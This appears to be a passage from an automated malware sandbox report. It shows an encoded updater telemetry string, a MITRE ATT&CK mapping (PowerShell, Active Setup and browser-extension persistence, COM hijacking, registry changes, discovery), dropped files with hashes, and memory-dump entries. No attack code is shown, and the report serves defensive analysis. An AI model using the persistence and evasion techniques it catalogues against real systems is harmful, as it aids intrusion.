MT0xNzM5ODk3NzcwJmFtcDtQMj00MDQmYW1wO1AzPTImYW1wO1A0PWRQb3Z4QWhzaUpmdXdMJTJma2hmbEJUVEgwYTlkUE5KJTJmZ1RPWDhwNmp3MUt0WG4wVWtjejVwcHMwZmZGbGxtU3NPSzVwdWdRZGMwam5lUElhb3V6OGVmQSUzZCUzZCIgc2VydmVyX2lwX2hpbnQ9IiIgY2RuX2NpZD0iLTEiIGNkbl9jY2M9IiIgY2RuX21zZWRnZV9yZWY9IiIgY2RuX2F6dXJlX3JlZl9vcmlnaW5fc2hpZWxkPSIiIGNkbl9jYWNoZT0iIiBjZG5fcDNwPSIiIGRvd25sb2FkZWQ9IjE3NzE4MDIxNiIgdG90YWw9IjE3NzE4MDIxNiIgZG93bmxvYWRfdGltZV9tcz0iMTIzNzk2Ii8-PGV2ZW50IGV2ZW50dHlwZT0iMTQiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIHN5c3RlbV91cHRpbWVfdGlja3M9IjY0NjQ2NjgyNzEiIHNvdXJjZV91cmxfaW5kZXg9IjAiIGRvbmVfYmVmb3JlX29vYmVfY29tcGxldGU9IjAiLz48ZXZlbnQgZXZlbnR0eXBlPSIxNSIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIgc3lzdGVtX3VwdGltZV90aWNrcz0iNjQ3ODEwNTM4MyIgZG9uZV9iZWZvcmVfb29iZV9jb21wbGV0ZT0iMCIvPjxldmVudCBldmVudHR5cGU9IjMiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjE5Njc1NyIgc3lzdGVtX3VwdGltZV90aWNrcz0iNzYyODI2MTY4MyIgc291cmNlX3VybF9pbmRleD0iMCIgZG9uZV9iZWZvcmVfb29iZV9jb21wbGV0ZT0iMCIgdXBkYXRlX2NoZWNrX3RpbWVfbXM9Ijc1NjMiIGRvd25sb2FkX3RpbWVfbXM9IjEzMDAwMCIgZG93bmxvYWRlZD0iMTc3MTgwMjE2IiB0b3RhbD0iMTc3MTgwMjE2IiBwYWNrYWdlX2NhY2hlX3Jlc3VsdD0iMCIgaW5zdGFsbF90aW1lX21zPSIxMTUwMTYiLz48cGluZyBhY3RpdmU9IjEiIGE9IjQiIHI9IjQiIGFkPSI2NjEyIiByZD0iNjYxMiIgcGluZ19mcmVzaG5lc3M9Ins3MTNBQjhDMy05QkQ3LTQxMTAtOTlERi1ERTk4MjNFN0RGMTV9Ii8-PC9hcHA-PGFwcCBhcHBpZD0ie0YzMDE3MjI2LUZFMkEtNDI5NS04QkRGLTAwQzNBOUE3RTRDNX0iIHZlcnNpb249IjEzMi4wLjI5NTcuMTQwIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSIiIGJyYW5kPSJHR0xTIiBjbGllbnQ9IiIgaW5zdGFsbGFnZT0iNCIgaW5zdGFsbGRhdGU9IjY2MDgiIGNvaG9ydD0icnJmQDAuNzAiPjx1cGRhdGVjaGVjay8-PHBpbmcgcj0iNCIgcmQ9IjY2MTIiIHBpbmdfZnJlc2huZXNzPSJ7MTBGNjIyOEEtMjhEOC00OTk1LUFGMUQtQjIyQUFENEVDNUU5fSIvPjwvYXBwPjwvcmVxdWVzdD4
                1⤵
                • System Location Discovery: System Language Discovery
                • System Network Configuration Discovery: Internet Connection Discovery
                PID:620

              Network

              MITRE ATT&CK Enterprise v15

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Command and Scripting Interpreter

              1
              T1059

              PowerShell

              1
              T1059.001

              Persistence

              Boot or Logon Autostart Execution

              1
              T1547

              Active Setup

              1
              T1547.014

              Browser Extensions

              1
              T1176

              Event Triggered Execution

              1
              T1546

              Component Object Model Hijacking

              1
              T1546.015

              Privilege Escalation

              Boot or Logon Autostart Execution

              1
              T1547

              Active Setup

              1
              T1547.014

              Event Triggered Execution

              1
              T1546

              Component Object Model Hijacking

              1
              T1546.015

              Defense Evasion

              Modify Registry

              4
              T1112

              Credential Access

              Discovery

              Query Registry

              2
              T1012

              System Information Discovery

              2
              T1082

              System Location Discovery

              1
              T1614

              System Language Discovery

              1
              T1614.001

              System Network Configuration Discovery

              1
              T1016

              Internet Connection Discovery

              1
              T1016.001

              Lateral Movement

              Collection

              Command and Control

              Exfiltration

              Impact

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{2D961F36-C2D6-41B8-9619-562D90917589}\EDGEMITMP_9A6E9.tmp\setup.exe
                Filesize

                6.6MB

                MD5

                b4c8ad75087b8634d4f04dc6f92da9aa

                SHA1

                7efaa2472521c79d58c4ef18a258cc573704fb5d

                SHA256

                522a25568bb503cf8b44807661f31f0921dee91d37691bf399868733205690bf

                SHA512

                5094505b33a848badcffd6b3b93aad9ad73f391e201dee052376c4f8573ba351f0b8c102131216088ffb38d0ed7b5fe70ba95c3ac2c33a50c993584fe7c435e3

                Download Submit

              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                Filesize

                3.7MB

                MD5

                3646786aea064c0845f5bb1b8e976985

                SHA1

                a31ba2d2192898d4c0a01511395bdf87b0e53873

                SHA256

                a129a6de7b90500483226192b260eaca1ee116a007771d421aa3eee38af48d6f

                SHA512

                145f8abf2ecffd8ecc3745dbd9ab2e360826fa46d6f21dbebece7802b9b5980f4ab19e2dfd180ce0cfb84366f3ac5c87cd1b74a085e1a0dd620b6c097900e0f4

                Download Submit

              • C:\Program Files\Google\Chrome\updater.exe
                Filesize

                2.0MB

                MD5

                a16a669a09bf158058b83e04e69fe38e

                SHA1

                f6c94763850d9e590d86057139e8895a7aacdeea

                SHA256

                cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

                SHA512

                658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

                Download Submit

              • C:\Program Files\Google\Libs\g.log
                Filesize

                226B

                MD5

                fdba80d4081c28c65e32fff246dc46cb

                SHA1

                74f809dedd1fc46a3a63ac9904c80f0b817b3686

                SHA256

                b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

                SHA512

                b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

                Download Submit

              • C:\Program Files\msedge_installer.log
                Filesize

                70KB

                MD5

                1e95081e910119ef37ba89db0d2ae846

                SHA1

                0cbdf32e80e35a48e00953e32e288ebc93c9a68c

                SHA256

                05c282cf4ec49350ffe07f3481df85da10f5ab883e0b19c076ef991386ff92e3

                SHA512

                507bf360f791c3edba064e9e9ab93344f375fc806c3739976760f7c314b363334c38ebb4b5cd1e82457da5604f69721e9acfb4abfecaf2dadd94a8786c18e677

                Download Submit

              • C:\Program Files\msedge_installer.log
                Filesize

                95KB

                MD5

                87c548897086fbff13c526672615d3e1

                SHA1

                a3f311e543e2326cd6f9b505671c8d5d5f9df476

                SHA256

                381dd4ecdfa933e73a345345ce8a724eb46a80b02477731996a9d1c2c7f54b16

                SHA512

                a93a293864231301e80ad720109ba70088bea4f787b0d3fd024ad92315bbb3914b8a4495bfb9d9ab635dbdfc1849d7c630e06b7ebbb3587de07a2510382fe991

                Download Submit

              • C:\Program Files\msedge_installer.log
                Filesize

                96KB

                MD5

                901bcda3f7bfc0fd23822618516441a0

                SHA1

                9d788974be9c2f6afd7054b63f1c4be9cd3b2e95

                SHA256

                bf05352eb097fd113ad42f21861ec82423f9f6ac286b2f75c7bd415af04ef91d

                SHA512

                9cba715b56628e28277a7693f60e74fafff31732e85652b2e39a161e8a950a0c94cf77af3d8d532ced54216aa73f3a5c696390d0a0b198e22ab65b96cbcd7cc1

                Download Submit

              • C:\Program Files\msedge_installer.log
                Filesize

                98KB

                MD5

                45373bdfe469627e8215ef9a39699718

                SHA1

                a7f26c77850cbe4d16b03210c1d3117c630ecdd6

                SHA256

                73f17aa6520e3b09a6edc1b8e97209d23d0a0bcb635f88bf375ab31a13db6139

                SHA512

                db509aabb07900b2c5649be0c90b169d7a8ff8ee50aa12332b139ce219b11800a8486407225dd1a1b054758b0288f796791f1cea458e67731e5bec8bd5b25516

                Download Submit

              • C:\ProgramData\Microsoft\EdgeUpdate\Log\MicrosoftEdgeUpdate.log
                Filesize

                632KB

                MD5

                99c248d9b69ca23ba5811bc24a2d3307

                SHA1

                7ae27c30c89b063aca47b68e7d63de8cfd60f7df

                SHA256

                fec829e21655437e0efbac9240279ca6963c127542148b5b0079342f50a8a659

                SHA512

                27e929d0550f422d08a3477b2055d0243893cd8447c5fd74f3ec345aa183ba1892a1f7c68007579363c1e53f4a337568094c31fc9e87e2012fa46d456602a7fc

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                Filesize

                2KB

                MD5

                d85ba6ff808d9e5444a4b369f5bc2730

                SHA1

                31aa9d96590fff6981b315e0b391b575e4c0804a

                SHA256

                84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                SHA512

                8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                Filesize

                944B

                MD5

                77d622bb1a5b250869a3238b9bc1402b

                SHA1

                d47f4003c2554b9dfc4c16f22460b331886b191b

                SHA256

                f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

                SHA512

                d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                Filesize

                1KB

                MD5

                fb791386d3d6a33d3db1b7b86ec81870

                SHA1

                825ca4d0e36a5a7b5e0999e83dbee02e98354d4e

                SHA256

                966cd46159f04469a27ca23e853c01be0a9f7b91f5656b76e14c0f8b2771da3f

                SHA512

                891996aa2287c50d280cf6329418119564d0e7544803fa152f5cfd89362836e7a0311a9eef8aab4cb6deda563bed34ac36a33c314518c90a6a36065098b92de3

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ewrnphpe.4qk.ps1
                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                Download Submit

              • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                Filesize

                4KB

                MD5

                bdb25c22d14ec917e30faf353826c5de

                SHA1

                6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

                SHA256

                e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

                SHA512

                b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

                Download Submit

              • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                Filesize

                1KB

                MD5

                b42c70c1dbf0d1d477ec86902db9e986

                SHA1

                1d1c0a670748b3d10bee8272e5d67a4fabefd31f

                SHA256

                8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

                SHA512

                57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

                Download Submit

              • memory/548-99-0x000001F9F8A30000-0x000001F9F8AE5000-memory.dmp

                Filesize

                724KB

                Download

              • memory/1512-35-0x00007FF762260000-0x00007FF762471000-memory.dmp

                Filesize

                2.1MB

                Download

              • memory/1512-0-0x00007FF762260000-0x00007FF762471000-memory.dmp

                Filesize

                2.1MB

                Download

              • memory/2376-49-0x00007FF750DB0000-0x00007FF750FC1000-memory.dmp

                Filesize

                2.1MB

                Download

              • memory/2376-109-0x00007FF750DB0000-0x00007FF750FC1000-memory.dmp

                Filesize

                2.1MB

                Download

              • memory/2400-33-0x00007FFE45280000-0x00007FFE45D41000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/2400-18-0x00007FFE45280000-0x00007FFE45D41000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/2400-31-0x00007FFE45280000-0x00007FFE45D41000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/2400-20-0x00007FFE45280000-0x00007FFE45D41000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/2400-19-0x00007FFE45280000-0x00007FFE45D41000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/2744-12-0x00007FFE45280000-0x00007FFE45D41000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/2744-13-0x00007FFE45280000-0x00007FFE45D41000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/2744-16-0x00007FFE45280000-0x00007FFE45D41000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/2744-11-0x0000015574E90000-0x0000015574EB2000-memory.dmp

                Filesize

                136KB

                Download

              • memory/2744-1-0x00007FFE45283000-0x00007FFE45285000-memory.dmp

                Filesize

                8KB

                Download

              • memory/3284-207-0x0000029C90C70000-0x0000029C90C7E000-memory.dmp

                Filesize

                56KB

                Download

              • memory/3284-208-0x0000029CAAE40000-0x0000029CAAE4A000-memory.dmp

                Filesize

                40KB

                Download

              • memory/3284-209-0x0000029CAAE70000-0x0000029CAAE78000-memory.dmp

                Filesize

                32KB

                Download

              • memory/3284-210-0x0000029CAC600000-0x0000029CAC849000-memory.dmp

                Filesize

                2.3MB

                Download

              • memory/4240-69-0x000001DF55790000-0x000001DF55845000-memory.dmp

                Filesize

                724KB

                Download

              • memory/4240-76-0x000001DF559F0000-0x000001DF559FA000-memory.dmp

                Filesize

                40KB

                Download

              • memory/4240-68-0x000001DF55770000-0x000001DF5578C000-memory.dmp

                Filesize

                112KB

                Download

              • memory/4240-70-0x000001DF55850000-0x000001DF5585A000-memory.dmp

                Filesize

                40KB

                Download

              • memory/4240-71-0x000001DF559C0000-0x000001DF559DC000-memory.dmp

                Filesize

                112KB

                Download

              • memory/4240-72-0x000001DF559A0000-0x000001DF559AA000-memory.dmp

                Filesize

                40KB

                Download

              • memory/4240-73-0x000001DF55A00000-0x000001DF55A1A000-memory.dmp

                Filesize

                104KB

                Download

              • memory/4240-74-0x000001DF559B0000-0x000001DF559B8000-memory.dmp

                Filesize

                32KB

                Download

              • memory/4240-75-0x000001DF559E0000-0x000001DF559E6000-memory.dmp

                Filesize

                24KB

                Download

              • memory/4340-130-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-203-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-586-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-132-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-134-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-112-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-147-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-151-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-111-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-108-0x0000024892180000-0x00000248921A0000-memory.dmp

                Filesize

                128KB

                Download

              • memory/4340-107-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-126-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-175-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-124-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-122-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-185-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-189-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-128-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-206-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-120-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-118-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-116-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-584-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-240-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-380-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-536-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-572-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-114-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-576-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-578-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-580-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4340-582-0x00007FF6667B0000-0x00007FF666FA4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/4648-115-0x00007FF6CE340000-0x00007FF6CE356000-memory.dmp

                Filesize

                88KB

                Download

              • memory/4648-110-0x00007FF6CE340000-0x00007FF6CE356000-memory.dmp

                Filesize

                88KB

                Download